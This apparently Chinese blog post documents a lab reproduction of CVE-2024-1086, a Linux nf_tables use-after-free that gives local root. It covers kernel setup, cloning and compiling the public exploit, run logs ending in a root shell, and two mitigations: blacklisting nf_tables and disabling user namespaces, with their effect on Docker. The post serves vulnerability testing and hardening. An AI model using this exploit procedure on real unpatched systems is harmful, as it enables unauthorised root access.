具作者介绍,该漏洞影响从 v5.14(包括)到 v6.6(包括)的版本,但不包括已修补的分支 v5.15.149>、v6.1.76>、v6.6.15>。这些版本的修补程序已于 2024 年 2 月发布。底层漏洞影响从 v3.15 到 v6.8-rc1 的所有版本(不包括已修补的稳定分支)。- - - 漏洞细节由于内容太深,看起来也是十分费劲,像是看天书一样。有兴趣的可以浏览作者发布的漏洞介绍。我这里就力所能及的给一些修复方案的介绍。
个人理解
首先这个漏洞来自于netfilter子系统nf_tables组件中存在 UAF漏洞 。nf_tables据我之前了解,他作用类似于iptables,都是用于防火墙。据网上不可靠消息说是iptables面对大量策略配置时候,性能堪忧,所以才诞生出了nf_tables。再一个该漏洞是需要用到用户命名空间,命名空间是用于隔离虚拟环境的。
实验目的
- 关闭nf_tables模块实现漏洞封堵
echo "blacklist nf_tables" >>/etc/modprobe.d/nf_tables-blacklist.conf
- 关闭用户命名空间实现漏洞封堵,以及测试对docker容器的影响
echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf;sysctl -p /etc/sysctl.d/userns.conf
复现历程记录
失败样例: 本来是准备在ubuntu22.04 内核版本从原来的5.15.0 升级至6.3.13(按照kernel-exploit-factory样例用的6.3.13复现该漏洞的提权。但由于个人并不是从事于内核开发,能力不足。到了最后一步也无法复现提权。(USERMODEHELPER 内核参数已编译入内核,但提权时候报此参数是关闭的)。
# 编译linux内核
root@josiahserver:~# wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v6.x/linux-6.3.13.tar.xz #下载内核源码
root@josiahserver:~# tar -xf linux-6.3.13.tar.xz;cd linux-6.3.13 #解压并进入目录
root@josiahserver:~# apt install make gcc fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison dwarves zstd #安装编译需要的工具
root@josiahserver:~# scripts/config --disable SYSTEM_TRUSTED_KEYS #关闭系统证书的编译参数
root@josiahserver:~# scripts/config --disable SYSTEM_REVOCATION_KEYS #关闭系统证书的编译参数
root@josiahserver:~# make menuconfig #进入编译选项菜单
root@josiahserver:~# make -j4 #使用4线程编译
root@josiahserver:~# make modules_install #安装模块
root@josiahserver:~# make install #安装内核,安装结束后重启服务器
# 执行提权,我们这里可以看到,user namespace(用户命名空间),network namespace(网络命名空间)及 nftables是必须的参数,其他一些的话按照作者介绍都是绕过一些内核机制,可以理解成提权辅助吧。
root@josiahserver:~# modprobe nf_tables #启用nftables内核模块
root@josiahserver:~# su wxy
$ ./exploit
[*] creating user namespace (CLONE_NEWUSER)...
[*] creating network namespace (CLONE_NEWNET)...
[*] setting up UID namespace...
[*] configuring localhost in namespace...
[*] setting up nftables...
[+] running normal privesc
[*] waiting for the calm before the storm...
[*] sending double free buffer packet...
[*] spraying 16000 pte's...
[*] checking 16000 sprayed pte's for overlap...
[+] confirmed double alloc PMD/PTE
[!] failed to find kernel code segment... CONFIG_STATIC_USERMODEHELPER disabled?
$ id
uid=1001(wxy) gid=1001(wxy) groups=1001(wxy)
# 切换至root 查看内核编译参数,m是编译成内核模块,编译安装重启系统后可以进行modprobe加载模块,y是编译在内核中的,无需额外加载模块。
root@josiahserver:~# grep -i nf_tables /boot/config-6.3.13
CONFIG_NF_TABLES=m
CONFIG_NF_TABLES_INET=y
CONFIG_NF_TABLES_NETDEV=y
CONFIG_NF_TABLES_IPV4=y
CONFIG_NF_TABLES_ARP=y
CONFIG_NF_TABLES_IPV6=y
CONFIG_NF_TABLES_BRIDGE=m
root@josiahserver:~# grep -i CONFIG_STATIC_USERMODEHELPER /boot/config-6.3.13
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/usermode-helper"
项目样例: 以下是用现成的kvm镜像验证提权。但是该方式由于都是在KernelCTF环境中使用syzkaller内核fuzz工具。内核模块都是直接编译到内核中,无法实现指定模块关闭,来论证个人的理解。
- 克隆项目kernel-exploit-factory
- 进入目录
cd kernel-exploit-factory/CVE-2024-1086
- 查看README下载镜像到当前目录
- 运行
./start.sh
启动并进入测试的虚机。
root@syzkaller:~# su hi
$ id
uid=1000(hi) gid=1000(hi) groups=1000(hi)
$ ./exploit
[*] creating user namespace (CLONE_NEWUSER)...
[*] creating network namespace (CLONE_NEWNET)...
[*] setting up UID namespace...
[*] configuring localhost in namespace...
[*] setting up nftables...
[+] running normal privesc
[*] waiting for the calm before the storm...
[*] sending double free buffer packet...
[*] spraying 16000 pte's...
[*] checking 16000 sprayed pte's for overlap...
[+] confirmed double alloc PMD/PTE
[+] found possible physical kernel base: 0000000214000000
[+] verified modprobe_path/usermodehelper_path: 0000000215933e33 ('/sbin/usermode-helper')...
[*] overwriting path with PIDs in range 0->4194304...
# id #提权成功
uid=0(root) gid=0(root) groups=0(root)
成功样例: 翻看CVE-2024-1086漏洞的作者代码,在项目中作者使用的linux内核版本是6.1.72,我也就直接去ubuntu官网下载内核包用dpkg安装软件包方式来升级内核(编译安装花的时间实在太长,那就直接安装人家编译好的)。
# 安装6.1.72内核
root@josiahserver:~# wget https://kernel.ubuntu.com/mainline/v6.1.72/amd64/linux-image-unsigned-6.1.72-060172-generic_6.1.72-060172.202401101633_amd64.deb
root@josiahserver:~# wget https://kernel.ubuntu.com/mainline/v6.1.72/amd64/linux-modules-6.1.72-060172-generic_6.1.72-060172.202401101633_amd64.deb`
root@josiahserver:~# wget https://kernel.ubuntu.com/mainline/v6.1.72/amd64/linux-headers-6.1.72-060172-generic_6.1.72-060172.202401101633_amd64.deb
root@josiahserver:~# dpkg --install *.deb
root@josiahserver:~# reboot
# 编译CVE2024-1086提权exploit
root@josiahserver:~# git clone https://github.com/Notselwyn/CVE-2024-1086
root@josiahserver:~# cd CVE-2024-1086
root@josiahserver:~# make
# 复制到普通用户目录并授权,切换账户后运行提权成功。
实验论证1:关闭nf_tables模块实现漏洞封堵
root@josiahserver:~# echo "blacklist nf_tables" >>/etc/modprobe.d/nf_tables-blacklist.conf
root@josiahserver:~# update-initramfs -u -k 6.1.72-060172-generic #跟新指定内核的启动模块
root@josiahserver:~# reboot
root@josiahserver:~# lsmod |grep nf_tables #查看内核模块无输出说明已禁用
# 实验验证
root@josiahserver:~# su wxy
$ ./exploit
[*] creating user namespace (CLONE_NEWUSER)...
[*] creating network namespace (CLONE_NEWNET)...
[*] setting up UID namespace...
[*] configuring localhost in namespace...
[*] setting up nftables...
mnl_cb_run: Invalid argument #发现已无法进行nftables的内核调用
实验论证2:关闭用户命名空间实现漏洞封堵
root@josiahserver:~# echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf;sysctl -p /etc/sysctl.d/userns.conf
user.max_user_namespaces = 0
root@josiahserver:~#
root@josiahserver:~# lsmod |grep nf_tables
nf_tables 294912 15 nft_chain_nat
nfnetlink 20480 3 nf_conntrack_netlink,nf_tables
libcrc32c 16384 5 nf_conntrack,nf_nat,btrfs,nf_tables,raid456
# 实验验证
root@josiahserver:~# su wxy
$ ./exploit
[*] creating user namespace (CLONE_NEWUSER)...
unshare(CLONE_NEWUSER): No space left on device #无法创建用户命名空间
# 用root账户查看docker情况
root@josiahserver:~# cat /lib/systemd/system/docker.service
...
ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --userns-remap=wxy #默认docker中使用的是root用户权限,我们设置使用docker权限映射,这样代表容器root用户映射到宿主机docker指定的用户uid上。这里的区别详见下面<<docker用户命名空间>>
...
root@josiahserver:~# docker run --name nginx-test3 -p 8082:80 -d nginx
32290608b5b5ff8d65e7c95a7844801205f2691d0b580fcd73997b9ab6481284
docker: Error response from daemon: failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: can't get final child's PID from pipe: EOF: unknown. #这里由于无法创建用户命名空间导致启动容器失败。
docker用户命名空间:重新开启用户命名空间
root@josiahserver:~# cat /etc/subuid
wxy:165536:65536 #用户wxy 在当前的 user namespace 中具有65536个从属用户。这些从属用户被映射成ID为0-65535的用户
root@josiahserver:~# docker exec -it nginx-test3 bash #进入容器
root@32290608b5b5:/# cat /proc/self/uid_map
0 165536 65536 #0代表容器中当前账户UID,165536是宿主机中对应账户的UID,说明容器中root用户对应的是宿主机uid 165536 的用户
root@32290608b5b5:/# ls -l /proc/self/ns/user #查看容器进程所在哪个命名空间
lrwxrwxrwx 1 root root 0 Jun 12 13:42 /proc/self/ns/user -> 'user:[4026532655]'
个人总结
虽然这次论证失败,但还是有点收获。发现现在的内核编译都支持只编译修改部分,大大缩短编译时间。如果整个内核编译的话4线程也得编译1个小时样子。也就是如果有内核编译参数修改,只需要重新再make
一次,而不需要`make clean
.另外编译新内核时候不要使用其他人分享的内核的config编译参数文件,可能会直接系统开不了机,尽量使用内核自带的config编辑。个人对C语言和内核工作原理和内核编译参数的认知不足,也是一开始论证失败的原因。后续还得多去了解了解。
从实验可以发现,关闭用户命名空间对容器以及k8s的影响非常大,直接会导致服务不可用。关闭nf_tables模块只要使用的还是iptables基本就没啥影响,只是新的类似于iptables防火墙功能的nft无法使用而已。毕竟在Linux3.10内核中还没nf_tables内核模块,iptables不还是用的好好地么。
:::: column
::: column-left
:::
::: column-right
:::
::::
客官,欢迎光临本站!路途遥远,常进来看看!
本文由mdnice多平台发布
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。